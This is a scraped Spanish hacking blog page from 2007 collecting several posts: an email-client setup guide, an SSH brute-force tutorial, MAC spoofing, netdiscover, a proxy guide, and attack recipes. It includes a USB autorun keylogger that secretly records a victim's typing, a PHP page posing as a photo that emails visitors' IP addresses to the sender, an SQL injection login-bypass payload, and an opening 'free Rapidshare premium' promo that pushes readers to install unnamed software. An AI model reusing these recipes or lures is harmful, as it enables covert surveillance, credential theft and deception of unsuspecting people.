| Mobile| RSS

Free Rapidshare Premium Account

Free Rapidshare Premium Account
(Refer Your Freinds And Win An Account)

This site provides you with a variety of ways to help you bypass the Rapidshare wait time. You can access our premium links maker on the Premium page. You can read our tutorial on the Rapidshare Grabber to learn how to download using that. Check our links for other Rapidshare related sites of interest.

After Registration, It Will Ask You To Complete A Survey, And Install A Software. Don't Wory It Is Not A Virus Or Spyware. Just Install That Small Software. You Can Delete It After 24 Hours. This Is Important, You Have To Take The Servey, And Install The Software In Order To Be Eligible For The Gift.

Visit This Site
Click Here

Or / And

Click Here

Proof 1 | Proof 2

domingo, 30 de septiembre de 2007 | Tags: | 7 comentario [ Mas... ]

Genenador de link

http://adomreg.com/#

esta buenisimoespero que leguste para poder descargar cuantas veces tu quieras y en directo 100%

Configurando un cliente de mail (Thunderbird)

http://icaix.com/front/wp-content/images/57.thumb.jpg

Te has parado a pensar alguna vez cuanto tiempo pierdes a diario accediendo a tus cuentas de email? Gracias a mozilla ThunderBird (o Icedove en Debian) podremos gestionar de una manera fácil, rapida y sencilla múltiples cuentas desde nuestro escritorio (aprox 2 min por cuenta).

Antes de mostraros como hacerlo, seria interesante que conocierais un poco los diferentes parámetros que nos iremos encontrando. Brevemente, voy a introduciros a aquellos conceptos basicos y necesarios con los que podréis configurar cualquier gestor de correo, no solo en Thunderbird, si no en cualquier otro.

Bien, lo primero que debemos entender es que solo hay dos cosas que podemos hacer con un email; Recibir y Enviar. Tiene sentido no? Ambos procesos son completamente independientes y por tanto habrá que configurarlos por separado.

Recepción emails

Cuando recibimos un email, normalmente hay un servidor de correo en alguna parte escuchando las 24 horas del día. Cuando recibe un mail, este es guardado hasta que usuario lo lee y decide cuando es el momento de eliminarlo.A día de hoy, la gestión del correo entrante se realiza normalmente con uno de los siguientes protocolos.

POP (Post Office Protocol), En este caso el servidor de correo es una zona de almacenamiento temporal para los emails entrantes. Una vez el usuario accede a su mail, este es transferido a su equipo, liberando el espacio ocupado en el servidor (su funcionamiento es similar al del buzón de correo en el sistema de correo tradicional).

Ventajas:

Minimo tiempo de conexión. Optimo para conexiones en las que se tarifa por minuto.
Mínimo uso de recursos de almacenamiento en el servidor (ya que una vez transferido se elimina)
Al estar el mail almacenado en tu equipo y podrás acceder a el sin necesidad de conectarte
Más extendido, y por tanto más software a su disposición.

Desventajas:

Solo se puede acceder al mail desde que el equipo desde el que te lo has descargado (malo si trabajas en varios equipos).
La mayoría de los servidores de correo que usan POP te permiten la opción de almacenar el mail en sus servidores, con el fin de evitar dicho problema. Ahora…, hay que tener cuidado a la hora de configurarlo si no quieres llevarte sorpresas.

IMAP (Internet Message Access Protocol), en vez de descargar los emails en el equipo del usuario, estos son guardados en el servidor, permitiendo al usuario acceder a el desde cualquier lugar de la red.

Ventajas:

Acceso desde múltiples equipo.
Descarga los emails solo cuando el usuario quiere leerlos (menor transferencia de datos)
Permite acceso “online”, “offline” o “disconnected”.

Si os dan la opción os recomiendo IMAP ya que los efectos de confundirse son menores.

Envió de mail

SMTP (Simple Mail Transfer Protocol). Solo tenemos una opción. Simplemente insertas el servidor de SMTP y listo. Por lo general con configurar un servidor de SMTP vale, sin embargo podremos configurar varios para posteriormente tener la opción de enviar mails desde diferentes “origenes”. Es servidor de SMTP se selecciona desde la pestaña “From” en la ventana de creación del mail.Dicho esto aquí os dejo los parametros de algunos de los servidores que os pueden interesar. Los que tengáis varias cuentas dentro de un mismo proveedor (véase gmail), no os preocupéis ya que podréis crear múltiples cuentas en paralelo.

Google Gmail

Tu Nombre: NombreQueQuierasQueSalgaEnElCampoFrom
Email Address: tuEmail@gmail.com
Tipo de Servidor de entrada: POP
Incoming Server: pop.gmail.com (SSL, puerto 995)
Outgoing Server: smtp.gmail.com (TLS, puerto 587)
Incoming User Name: tuEmail@gmail.com
Outgoing User Name: tuEmail@gmail.com

Guia oficial gmail. Aqui
Ver video tutorial icaix! Aqui

Upcomillas mail

Tu Nombre: NombreQueQuierasQueSalgaEnElCampoFrom
Email Address: tuEmail@alumnos.upcomillas.es
Tipo de Servidor de entrada: POP/IMAP
Incoming Server: alumnos.upcomillas.es (SSL, puerto 995, opcional)
Outgoing Server: alumnos.upcomillas.es
Incoming User Name: 200-XXX-XXX (numero de alumno)
Outgoing User Name: 200-XXX-XXX (numero de alumno)

Pagina de ayuda STIC Aquí.
Ver video tutorial icaix! Aqui

Microsoft Hotmail y Yahoo mail.

Este servicio, en principio, solo lo ofrecen a usuarios “Premium” y por tanto no esta disponible al público en general. Si que es cierto que hay plugins que permiten la descarga vía http.
Si hay interés, seguramente escriba una expansión de este “mini tutorial” mostrándoos como hacerlo.
Para los impacientes, Aquí os dejo un link a uno de esos plugins

Bueno, pues eso es todo. Realmente es mas sencillo de configurar de lo que parece. Yo ahora después de 6 meses usándolo me pregunto el porque no lo había probado antes. La verdad es ahorra mucho tiempo, te permite el control de varias cuentas simultáneamente, y lo mejor es que te avisa cuando recibes un nuevos emails. Os recomiendo que lo probéis ya que seguramente cambiara vuestros hábitos del uso del email.

sábado, 29 de septiembre de 2007 | Tags: | 0 comentario [ Mas... ]

Video Tutorial: Backtrack 2 | Remote brute force attack

Una de las responsabilidades de los administradores de sistemas es limitar el acceso a aquellos usuarios con autorización para entrar en el mismo. Con el fin de bloquear el acceso a terceros se crearon las contraseñas. Cada usuario posee un ‘nombre de usuario’ y una contraseña. Cada vez que un usuario quiere acceder al sistema se le piden dichos datos. Si el nombre de usuario y la contraseña coinciden con los almacenados en el servidor le permitimos el acceso, si no, se lo denegamos.

Uno de los problemas de este sistema surge cuando una tercera persona se hace pasar por uno de nuestros usuarios. Siempre y cuando conozca el nombre de usuario y su password se le permitirá el acceso, independientemente de que la persona no sea quien dice ser.

Otro problema es que si el acceso a sido denegado, el usuario puede volver a intentar acceso n numero de veces (normalmente n es infinito). Por lo general, limitar el número de intentos puede bloquearnos el acceso, haciendo del remedio peor que la enfermedad.

Un ataque muy común que se hace uso de dichas ‘vulnerabilidades’ son los ‘ataques basados en diccionarios’ (dictionary-based attack). El ataque consiste en bombardear al servidor con nombres de usuarios y contraseñas aleatorios. Es algo parecido a intentar abrir una caja fuerte introduciendo números al azar. Si alguna vez te has encargado de algún servidor ssh o ftp seguramente los hayas sufrido.

Ya que el número de posibles combinaciones de usuarios y passwords posibles es demasiado alto, en este tipo de ataque normalmente se usan diccionarios. Un diccionario (de passwords y/o usuarios) es un fichero de texto con nombres de usuario y passwords frecuentemente usados. Por ejemplo, en la mayor parte de sistemas nos solemos encontrar un usuario ‘root‘, y, estadísticamente hablando, passwords como ‘1234‘ o ‘qwerty‘ son usadas mas frecuentemente que ‘a\/gW1~3|23‘. Como te podrás imaginar, para diferentes idiomas se usan diferentes diccionarios.

Pero entonces…? SI!, La única manera de que este ataque funcione es que la combinación usuario-password este en tu diccionario, o en otras palabras, una mala gestión de usuarios/passwords.

El motivo por el que este tipo de ataques están tan extendidos es porque con un simple script podemos testear cientos o miles de servidores de forma automática sin necesidad de intervenir en el proceso. Otro motivo es que los ‘chicos malos’ necesitan ordenadores desde los que realizar sus ataques.

En un ataque real conseguir acceso al sistema es solo el primer paso. Una vez dentro se suele instalar como mínimo algún troyano con el cual garantizar el acceso en caso de que se cambie la password. Hay ocasiones en el que el atacante simplemente cambia la password para levantar sospecha y darle a conocer al usuario que su password es débil.

En este video tutorial os muestro un ejemplo práctico de cómo realizar este tipo de ataques y por supuesto como detectar su presencia.

Detalles técnicos

  • La distro usada para realizar el ataque es Backtrack 2, versión Live.
  • Para escanear la red y localizar posibles víctimas se uso nmap.
  • Para el ataque en si utilizamos medusa (~# man medusa).
  • El diccionario usado pertenece a ‘john the ripper‘ (Incluido por defecto en Backtrack 2).
  • El servidor de ssh en la víctima es una instalación estándar de OpenSSH.

Ver video tutorial

Video Tutorial: Backtrack 2 | Remote brute force attack

Pulsa aquí o sobre la imagen para acceder al vídeo tutorial.

Detección y prevención

La mejor forma de detectar este y cualquier tipo de ataque es comprobando los logs y analizando cualquier anomalía. En su día escribí un post llamado ‘Navegando entre los logs’ donde hable de cómo el servidor en el que se encuentra alojado esta web, Fujiyama, estaba en constante estado de alerta.

En ‘Consejos básicos: Mantener un servidor del ssh’ menciono las practicas mas habituales para evitar este tipo de ataques sobre servidores de ssh. En esa época decidí cambiar el puerto de escucha del servidor de ssh y desde entonces no he recibido ningún ataque en los dos últimos meses.

Todo NIC (Network Interface Controller)

Todo NIC (Network Interface Controller) posee un identificador de 48 bits al que normalmente nos referimos como MAC. Dicho identificador es asignado por el fabricante de la tarjeta, y teoricamente es “único” para cada NIC, y . Dichos 48 bits se suelen representan en hexadecimal (16 grupos de 4 bits).

Como dato interesante, antes de poder asignar una MAC, los productores de Interfaces de red han de acordar (pagando una licencia) con el IEEE el rango de MACs en el que pueden trabajar. Gracias a esta jerarquía, analizando parte de la MAC podemos averiguar quien es el fabricante.

Normalmente el id del fabricante son los primeros 24 bits. Imaginemos que tu MAC es AA-AA-AA-BB-BB-BB, “AA-AA-AA” seria el código de fabricante y “BB-BB-BB” el numero asignado por dicho fabricante. Es por esto que muchas aplicaciones son capaces de “averiguar” el fabricante de la tarjeta (Compaq, intell, etc).

Ver MAC en Windows:

Windows trata a dicha dirección como “Physical Address” o dirección física. Para verla basta con que teclees en la consola del sistema “ipconfig /all”.

> ipconfig /all

Ethernet adapter Local Area Connection:

Sufijo de conexión específica DNS . :
Descripción . . . . . . . . . . . . . . . . . . . . : Broadcom NetXtreme Gigabit Ethernet
Dirección física. . . . . . . . . . . . . : 00-E0-7E-11-22-33
DHCP habilitado. . . . . . . . . . . . . . . . : No
Dirección IP. . . . . . . . . . . . . . . . . . . . : 192.168.1.10
Máscara de subred. . . . . . . . . . . . . . : 255.255.0.0
Puerta de enlace predeterminada . : 192.168.1.1
Servidores DNS. . . . . . . . . . . . . . . . . :

Ver MAC en Linux:

Linux por otro lado la llama “Haddr”, Hardware address. Para verla basta con pulsar “sudo ifconfig” o en la terminal.

#sudo ifconfig

eth0 Link encap:Ethernet HWaddr 00:0B:DB:C6:2E:5C
inet addr:150.203.233.126 Bcast:150.203.233.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7002 errors:0 dropped:0 overruns:0 frame:0
TX packets:749 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:1861755 (1.7 MiB) TX bytes:141647 (138.3 KiB)
Base address:0xdf40 Memory:feae0000-feb00000

“universally administered address” vs “locally administered address”

Entonces…, es posible o no cambiar dicho identificador?. En linux Si. En windows normalmente tambien, aunque depende de los drivers.

Hasta ahora implicitamente nos estabamos refiriendo a la “universally administered address”. Dicho código esta grabado “Hard Coded” en la tarjeta y como proras imaginar NO se puede modificar. Sin embargo, con el fin de dar cierta flexibilidad a los administradores de redes se decidió crear la llamada “locally administered address“ la cual se mantiene via software, y SI que la podemos personalizar.

En el momento que asignemos algún valor a la segunda, la tarjeta comenzará a usar dicho valor. Este truco es muy útil para evitar filtros de MAC o suplantar otros equipos.

Cambiar la MAC en Windows:

Inicio -> Panel del Control -> Conexiones de red -> Conexión de red local -> (botón derecho) propiedades:

MAC1

-> Configuracion -> (Pestana)Avanzado:

MAC2

-> Selecciona “Locally Administered Address” e introduce la nueva MAC -> Aceptar -> Aceptar.

Cambiar la MAC en Linux:

# sudo ifconfig eth0 hw ether AA:AA:AA:BB:BB:BB

Opciones:
eth0 -> Interfaz de la tarjeta que quieras cambiar.
AA:AA:AA:BB:BB:BB -> Nueva MAC.

Por ultimo, Aquí os dejo una lista (gracias a ettercap) bastante completa de los rangos asignados a los diferentes productores de tarjetas.

Netdiscover, analizando la red.

http://nixgeneration.com/~jaime/netdiscover/

Anoche saliste de fiesta, la ocasión se lo merecía, habías construido tu primer USB-KeyLogger. Desgraciadamente, se te fue un poco la mano con el alcohol y hoy te levantas en un lugar en el que nunca antes habías estado… Seguramente, lo primero que harás una vez levantado es mirar a tu alrededor y observar el entorno. Buscar elementos que te resulten familiares que te sirvan para hacerte una idea de donde estas y contra que es lo que te enfrentas.

No!, no me he vuelto loco. Sin embargo la situación es similar a cuando conectas tu ordenador a una red desconocida (ya sea por cable o Wireless). Inicialmente, si tienes suerte, habrá un servidor de DHCP que te proveerá de la mínima información necesaria para poder hacer uso de la red; una ip, una mascara de red y una puerta de enlace. Sin embargo nosotros queremos saber un poco mas sobre los aquello que nos rodea. Porque?, imagínate por ejemplo que alguien esta haciendo un mitm (man in the middle attack) con ettercap…

Pues bien, hoy os presento netdiscover. Haciendo uso del ARP (Address resolution protocol), Netdiscover localizará todos los equipos de la red devolviéndonos una relación entra la ip local y la MAC de cada equipo.

Los que creyeseis (yo mismo hace una semana) que con broadcast un ping (ICMP echo request) es suficiente estáis equivocados. En muchas ocasiones os encontrareis que la función ping esta deshabilitada (por motivos de seguridad).

Esta es la pagina oficial de netdiscover. También es posible que os podáis hacer con el a través de alguno de los repositorios de tu distro.

Una vez instalado es bueno leerse el manual (man netdiscover). A groso modo estas son algunas de las opciones disponibles

Opciones Principales:

-i dispositivo: interfaz de red que quieres usar; eth0, eth1, wlan.

-r rango: rango que de deseas escanear. Ex: 192.168.1.0/24 escaneara todas las ips entre 192.168.1.0 y 192.168.1.255.

-p: modo pasivo. No infectará nada, solo escucha las peticiones ARP que lleguen a nuestro equipo (eficaz pero mas lento).

-s time: tiempo en milisegundos entre peticiones ARP. Útil si no quieres saturar la red o no quieres ser detectado por algún IDS.

-f: fast mode.

Ejemplos de Uso:

  • Búsqueda de direcciones comunes en eth0

# netdiscover -i eth0

  • Búsqueda en modo rápido de direcciones comunes en eth0 (solo la puerta de enlace)

# netdiscover -i eth0 -f

  • Ejemplo de análisis de algunos rangos

# netdiscover -i eth0 172.26.0.0/24
# netdiscover -i eth0 192.168.0.0/16
# netdiscover -i eth0 10.0.0.0/8

  • Idem que el primer ejemplo pero con un intervalo de 0.5ms (1ms por defecto)

# netdiscover -i eth0 -s 0.5

  • Búsqueda pasiva. Solo analiza el trafico entrante. No infectará nada a la red.

# netdiscover -i eth0 -p

Conclusion:

Personalmente estoy encantado con esta sencilla aplicacion. Obviamente netdiscover no tiene la potencia de otras aplicaciones como nmap, pero sin embargo “lo que hace lo hace bien” de una manera rápida y sencilla. Puede resultar muy útil en las primeras etapas del análisis de una red.

Tutorial: USB KeyLogger

Hoy nos olvidamos de cables, backdoors, ARP Poisoning, ettercap, sniffers y todo aquello que tenga que ver con redes.

Mucha gente cree que con proteger su equipo contra ataques atraves de la red con firewalls y antiviruses, el ordenador ya es seguro e impenetrable. Sin embargo, ¿que pasa cuando el atacante tiene acceso físico a la maquina? ¿Es realmente peligroso?

Para demostrar el potencial de este tipo de ataques, hoy vamos a crear nuestro propio USB-Keylogger. Un “pendrive” que al conectarlo a nuestro querido Windows, guardara todo aquello que tecleemos sin que, por supuesto el usuario “victima” se entere.

Bueno…, miento, en realidad este metodo tiene truco, ya que para hacerlo funcionar windows tiene que tener habilitada el mecanismo de autoarranque. Es decir, cuando insertemos el pendrive, windows debera ejecutar el archivo autorun.inf. Sin embargo, por lo general no es problema ya que windows tiene dicha opcion activada por defecto.

Requisitos:

  1. Maquina con Windows (probado en XP SP2)
  2. Un Pendrive (de con al menos 15 MB)

Instalación:

  1. Descárgate este archivo y descomprímelo en el directorio raíz del Pendrive.

Ataque:

  1. Conectar el USB a la maquina.
  2. Seleccionar la primera opción en el menú de Auto arranque “Iniciar Keylogger”.
  3. Una vez arrancado el Keylogger pulsa F12 para acceder al los menus (opcional).

Al pulsar “Aceptar” veras que hay un nuevo proceso llamado keylogger.exe, este es el encargado de registrar todas las teclas pulsaciones realizadas sobre el teclado.

Acceso a los Logs:

  1. Los logs se irán almacenando en la carpeta “logdir”.
  2. Usa tu editor de texto favorito para acceder a ellos.

Como Funciona:

Cuando conectamos un medio extraíble a nuestro sistema (CDs, DVDs, Pendrives, etc), Windows nos permite incluir un archivo “Autorun.inf” en el que podemos definir el comportamiento del medio, ex;dar nombre a la unidad, asignarle iconos especiales o lanzar aplicaciones. Asi es como Juegos, CDs de Música e Instaladores nos sorprenden con sus encantadores menús cada vez que los insertamos en el ordenador.

Desde Autorun.inf podemos ejecutar cualquier aplicación, lo único que debemos de conocer es su ubicación, en este ejemplo un keylogger, pero perfectamente podría ser reemplazado por un ladrón de passwords, virus, troyanos, o lo que se nos ocurra.

En este ejemplo solo usaremos los comandos mas basico:

label: Asigna el nombre de la unidad.
icon: ubicacion del icono que se asignara a la unidad.
action: Texto que se mostrara como opcion por defecto en el menu de autoarranque.
shellexecute: Aplicacion que ejecutar.

Autorun.inf

[Autorun]
label=Icaix.com
icon=”icaix.ico”
action=Iniciar Keylogger
shellexecute= “Keylogger.exe”

Keylogger

El keylogger usado se llama PyKeylogger. Esta es la pagina oficial. Os recomiendo que le echéis un ojo, es open source con licencia GPL.
El binario del ejemplo no es exactamente el de la página oficial. Para eliminar el pop up inicial y hacer el ataque más real he modificado la línea 114 del archivo “keylogger.pyw”. Aquí una copia.

Prevención:

La forma de evitar este tipo de ataques es deshabilitar la opcion de autoarranque de windows. Aquí os dejo un link de cómo hacerlo.

Como obtener la Ip de nuestros amigos del msn

Seguramente alguna vez se has necesitado/querido tener acceso a las ip de algunos de tus contactos de Messenger. Hasta ahora, la única manera que, por lo menos yo, conocia para obtenerla era mandándoles un archivo y capturar la ip durante la transmisión. Aunque dicho método funciona, no es demasiado práctico.

Hoy navegando por Internet me he cruzado con Profit42.com. Profit42.com es una especie de blog/comunidad donde entre otros temas hablan de cosas de seguridad y tienen colgados unos cuantos tutoriales. Uno de ellos es sobre el que voy a hablar ahora (Fuente original).

El objetivo consiste en que la victima pulse sobre un link, aparentemente inofensivo, que automáticamente nos mandara un email su ip. Realmente, dicho link no es mas que una pequeña pagina en php, que automáticamente envía un mail con la ip de todo aquel que acceda a el. El unico requesito es tener acceso a un dominio con soporte para php.

Ejemplo:

Creemos una carpeta llamada foto.jpg
En dicha carpeta guardaremos una imagen (http://LoQueSea.com/foto.jpg/foto.jpg) y crearemos un documento “index.php” (http://LoQueSea.com/foto.jpg/index.php) con el siguiente codigo:

$remote_addr = getenv(’REMOTE_ADDR’);
$toaddress = “tuMail@mail.com”; // tu email!
$subject = “Asunto”; // asunto del email
$message = ” IP: $remote_addr”; // Cuerpo del mail
$fromname = “CapturaIp”; // Quien lo envía
$fromaddress = “loQueTeDeLaGana@LoQueSea.com”; // Email de quien lo envía
$headers = “MIME-Version: 1.0\n”;
$headers .= “Content-type: text/plain; charset=iso-8859-1\n”;
$headers .= “X-Priority: 3\n”;
$headers .= “X-MSMail-Priority: Normal\n”;
$headers .= “X-Mailer: php\n”;
$headers .= “From: \”".$fromname.”\” <”.$fromaddress.”>\n”;
mail($toaddress, $subject, $message, $headers);
?>

Cuando alguien acceda a Index.php:

  1. Mandara la ip a tuMail@mail.com
  2. Mostrara foto.jpg

Aqui un ejemplo del resultado: http://icaix.com/gracioso.jpg
Descargatelo desde Aqui

Como ejecutar el ataque?

Simplemente mándales a tus amigos un link a http://dominoConSoportePhp.com/foto.jpg y listo, recibirás un mail segundos mas tarde con su ip.

SQL injection”

Supongo que la mayoría de vosotros conocereis lo que un “SQL injection attack” es. Para los que no, “SQL injection” consiste en la inserción código SQL en las variables del programa que estés ejecutando. Si tienes suerte, el programa insertara dichas variables dentro de la “query” y podremos realizar el ataque.

Por ejemplo, imaginémonos el tipo formulario de acceso a un sistema. Este tiene dos campos, cuyas variables son “$nombreUsuario” y “$password”.

Una forma de comprobar si dicho usuario existe seria con la siguiente “query”

SELECT *
FROM tablaUsuarios
WHERE (userId = ‘$nombreUsuario’) AND (pass = ‘$password’);

Donde:

  • tablaUsuarios -> tabla que contiene los usuarios
  • userId -> campo de la tabla que contiene los nombre de usario
  • pass -> campo de la tabla que contiene las passwords.

Si la query devuelve algún resultado entonces le damos acceso al usuario.
Bien, imaginémonos que como nombre de usuario introdujésemos lo siguiente;

  • $nombreUsuario = pepito’ OR ‘x’=’x
  • $password = nose’ OR ‘y’=’y

La query resultante seria la siguiente:

SELECT *
FROM tablaUsuarios
WHERE (userId = ‘pepito’ OR ‘x’=’x’) AND (pass = ‘nose’ OR ‘y’=’y’);

Como veis, la cláusula WHERE será siempre cierta y por tanto es muy probable que consigamos acceso al sistema (seguramente con el primer miembro de la lista).

La verdad es que es una pena que rara vez se hable del tema en entornos educativos, ya que existen formas de evitar dichas vulnerabilidades, y un correcto acceso a la información es básico. Muchas son las empresas que han sufrido de dichos ataques, y aun así, poco lo que se esta haciendo para advertir a las futuras generaciones de ingenieros y programadores.

No voy a entrar en mayor detalle en este tema ya que esta extensamente documentado en la red y con google podréis encontrar cientos de ejemplos, así como de soluciones o guías de prevención para evitar posibles ataques.

Sin embargo un video que si que os recomiendo ver es este.

TUTORIAL: Proxies

TUTORIAL: Proxies

by Miggs

Introduccion

Recientemente, un amigo que esta muy Jodido (Fucked), me pidió que le explicara que son eso de los “proxies”, para que sirven, y como se usan. Así que bueno, en este tutorial intento explicar de una manera simple que es eso de los proxies. En particular voy a centrarme en HTTP Proxies ya que estos son los mas extendidos. Hoy no, pero a lo mejor en algun futuro cercano explicare como configurar SQUID.

Este tutorial esta basado en el uso proxies públicos. En el caso de que desconozcas a los admins de dichos proxies, por favor, tener cuidado!:
UN PROXY PUEDE FILTRAR Y ANALIZAR TODO EL TRAFICO QUE PASE ATRAVES DE EL. Por eso, no recomiendo que introduzcáis passwords ni información delicada mientras los uséis.

Que es un HTTP Proxy?

Un HTTP proxy no es mas un servidor que se interpone entre todas las conexiones HTTP (puerto 80 por defecto) tuyas y cualquier otro servidor. Es decir, si quieres conectarte a icaix.com desde tu casa. Tu ordenador se conectara primero al proxy, y sera el proxy el que posteriormente se conecte a icaix.com, canalizando todo el tráfico entre tu ordenador e icaix de una forma transparente para ti.

Tipos de HTTP_Proxy!

Bien, antes de seguir es importante que diferenciemos los diferentes tipos de HTTP proxies que nos podemos encontrar, ya que segun el tipo de proxy que usemos estaremos mandando mas o menos datos a los servidores a los que nos conectemos. NO todos los proxys mantienen la anoimidad del cliente, así que es importante saber que es lo que pueden llegar a saber de nosotros.

  • Proxy transparente: Como su nombre indica, es transparente, es decir, el proxy comunica al servidor que efectivamente se esta usando un proxy, pero…, inmediatamente después le da a conocer la ip del cliente. El uso de este tipo de proxies es canalizar el trafico de múltiples estaciones, con el fin de analizar el trafico, y posiblemente bloquear determinadas ips (ex: youTube.com), o limitar en ancho de banda de las estaciones.
  • Proxy Anónimo: Indican a los servidores que se esta usando un proxy, pero no le da a conocer la ip del cliente.
  • High anonymity: Proxy: Este es el que mas me gusta, y el que mas util si quieres esconder tu ip. El proxy se encarga como su nombre indica de proteger tu anonimidad. El proxy se conecta al servidor en cuestión haciéndole creer que el es el cliente. NO avisa que se este usando un proxy.

Existen otros tipos de HTTP Proxies, pero son poco utilizados así que ignoraremos su existencia (por ahora).

Porque “HTTP Proxy” y no “Proxy” a secas?

Como seguramente seras capaz de intuir, los HTTP proxies solo trabajan con conexiones HTTP.

Porque HTTP exclusivamente y no cualquier servicio como FTP, TELNET?.

HTTP es un Protocolo. Por tanto que el servidor Proxy tiene que ser capaz de trabajar con los campos de las tramas que le enviamos. Si en algún caso le enviásemos tramas de cualquier otro protocolo, por ejemplo TELNET, el servidor no las entenderá y las ignorara.

Entonces…, Porque mi cliente de FTP tiene la opción de usar el dichoso Proxy?

Lo que esta pasando ahí, es que el cliente de FTP esta encapsulando las tramas FTP dentro de paquetes HTTP. El PROXY que es muy listo desencapsulara y enviara al servidor de ftp tramas en formato FTP.Ojo, no todos los proxies soportan este tipo de servicio.

Vale, Vale, cállate ya, me mola!, como se usan?!

La configuración de proxies normalmente se especifica a nivel de aplicación. Normalmente, en principio no afecta al entorno de red del del OS, funcionando de forma independiente en cada una de las aplicaciones. Es decir, puedes tener firefox configurado para que use determinado proxy, mientras que Opera, o el msn usen otro o ninguno. Hoy os voy a enseñar como configurarlo en ambos, Firefox, e IE.

Como bien he dicho arriba Normalmente no afecta al variables de red del OS, sin embargo, los chicos de Microsoft decidieron implementar IE de tal forma que en vez de tener sus propios parámetros como hacen Firefox o Opera, IE hará uso de las variables del sistema, es decir, al configurar un proxy en IE estaremos actualizando el entorno de red de Windows, extendiendo el uso de dicho proxy al resto de aplicaciones que utilicen en este caso HTTP.

Lo primero es conseguir un proxy. En internet hay paginas que se dedican unica y exclusivamente a publicar direcciones de Proxies publicos. Si no tienes un poxy a mano, y no te apetece montarte uno en tu propio ordenador, esta es la mejor solución. La pagina mas completa que conozco es: http://www.publicproxyservers.com/ Ahí encontrareis multitud de proxies (aunque muchos de ellos no funcionan).

Una vez encontréis un proxy que os guste, notareis que hay varios parámetros dentro de cada proxy. Los mas importantes son la ip y el puerto de escucha ( y el tipo de proxy por supuesto):

IP: es la ip única que identifica al servidor, y es con lo que localizamos el servidor

Puerto: es el puerto de escucha dentro del servidor. Por ejemplo los puertos 3128 y 8080 son los que usan la mayor parte de los proxies. EL PUERTO DE ESCUCHA NO TIENE PORQUE SER 80!!!!. El puerto 80 es normalmente usado para servidores Web HTTP (ex: Apache o IIS), lo cual es un servicio completamente diferente al de un proxy. Los proxies normalmente escuchan en otros puertos. Es mas…, mi consejo es evitar los proxies que escuchen por el puerto 80 ya que lo mas seguro es que se dediquen a analizar trafico.

Tipo de proxy: explicado mas arriba.

En este ejemplo usaremos el siguiente proxy ficticio:

Configuración en Firefox 1.5

Configuración en IE 6:

INSISTO: La configuración de IE modifica los parámetros de conexiones de red del sistema. Cualquier aplicación que haga uso de dichos parámetros usara dicho proxy.

Como comprobar que efectivamente estoy a través de un proxy?

Lo mas sencillo es comprobar a través de www.showmyip.com tu ip antes y después de configurar el proxy.

Como deshabilito el proxy?

Muy sencillo, lo único que tienes que hacer es deshabilitar la opción de uso de proxy y tu trafico recuperara la ruta por defecto (conexión directa a Internet). La nueva configuración se aplicara a todas las conexiones creadas a partir de dicho momento.

Vale, quiero saber mas! Donde sigo….

Mi recomendacion para profundizar en el tema es google por supuesto. Hay multitud de proxies open source con los que poder jugar. Mi favorito (el que uso) es Squid.

Ciber Protesta

Blog Archive

Labels

Blogumulus by Roy Tanck and Amanda Fazani

Twitter